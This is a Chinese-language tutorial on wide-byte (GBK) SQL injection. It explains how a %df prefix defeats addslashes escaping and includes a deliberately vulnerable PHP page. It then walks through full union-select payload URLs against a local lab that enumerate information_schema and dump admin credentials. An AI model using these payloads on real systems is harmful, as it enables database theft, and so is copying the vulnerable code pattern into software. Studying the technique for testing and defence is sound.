宽字节SQL注入源码与注入攻击教程

一、宽字节注入产生的原因

程序员为了防止sql注入漏洞的产生,对用户输入的数据中的单引号(’)、双引号(")、星号(*)反斜杠(/)进行转义处理。
所谓转义就是在单引号(’)前加上斜杠(\)重新组合成(’),这样被处理后的sql语句中,单引号不再具有闭合字符的作用,仅仅作为内容输入而已,总而言之,就是这个单引号无法发挥和前后单引号闭合的作用,仅仅成为普通的输入内容(例如:id=1,效果一样)

宽字节防御方法:
1、魔术引号开启
宽字节SQL注入源码与注入攻击教程
2、使用addslashes()函数转义
id=addslashes(id = addslashes(_GET[‘id’]);//进行转义

二、绕过防御思路

安全测试人员要绕过这个转义处理,使单引号发挥作用,有两个思路:

1、让斜杠(\)失去作用
2、让斜杠(\)消失

第一个思路:借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为‘内容’
宽字节SQL注入源码与注入攻击教程
(\是注释的意思,这样就把\给注释,但是没法注入了)
第二个思路:宽字节注入
前提:使用GBK编码
宽字节SQL注入源码与注入攻击教程
这样前面%df%5C 将被认为是一个汉字%27是 单引号如上图所示

总结:当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符%df,使其和斜杠(\)进行组合被认为成汉字,从而达到让斜杠消失的目的,并且使单引号也能发挥闭合字符的作用

(注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字)
二、宽字节注入源码

<?php $id=$_GET['id']; if(isset($id)&&!empty($id)){ $id = addslashes($_GET['id']);//进行转义 $conn=mysql_connect('localhost','root','root') or die('Connect Error:'.mysql_error()); mysql_select_db("kzj",$conn); mysql_query("set names 'gbk' ",$conn);//指明数据库gbk处理,不安全的编码格式 $sql = "select * from mysqli_test where id='".$id."'"; $result = mysql_query($sql, $conn); while ($row=mysql_fetch_array($result)){//从查询的结果集中取出一行内容 echo "用户名:".$row['username']."
"; //echo "密码:".$row['password'].""; } mysql_close($conn); print_r('执行SQL语句:'.$sql); }else{ echo "id错误"; } ?>

三、宽字节注入攻击步骤

第一步:访问目标网站
宽字节SQL注入源码与注入攻击教程
第二步:测试注入点 输入and 1=1’(单引号作用是闭合字符,因为此处id是字符型,所以得输入单引号进行闭合字符)宽字节SQL注入源码与注入攻击教程)宽字节SQL注入源码与注入攻击教程
发现单引号被转义了。
第三步:使用宽字节注入方法绕过防御
猜解显示位
宽字节SQL注入源码与注入攻击教程
其中%23是#的URL编码 %20 是空格的URL编码

宽字节SQL注入源码与注入攻击教程
宽字节SQL注入源码与注入攻击教程
猜解出来显示位是3位
第四步:猜解数据库名
宽字节SQL注入源码与注入攻击教程
宽字节SQL注入源码与注入攻击教程
第五步:猜解表名
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x6B7A6A%23
因为正常情况下table_schema=‘kzj’,但是单引号被转义,故此处采用HEX编码绕过
宽字节SQL注入源码与注入攻击教程
猜解出来表名是admin与mysqli_test
第六步:猜解admin表中的列名
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x6B7A6A%20and%20table_name=0x61646D696E%23
宽字节SQL注入源码与注入攻击教程
猜解出来admin表中有两列admin与pwd
第七步:猜解字段内容
http://127.0.0.1/sql-z/kzj-y.php?id=1%df%27%20union%20select%201,group_concat(admin,pwd),3%20from%20kzj.admin%23
宽字节SQL注入源码与注入攻击教程
猜解出来用户名是admin密码是admin666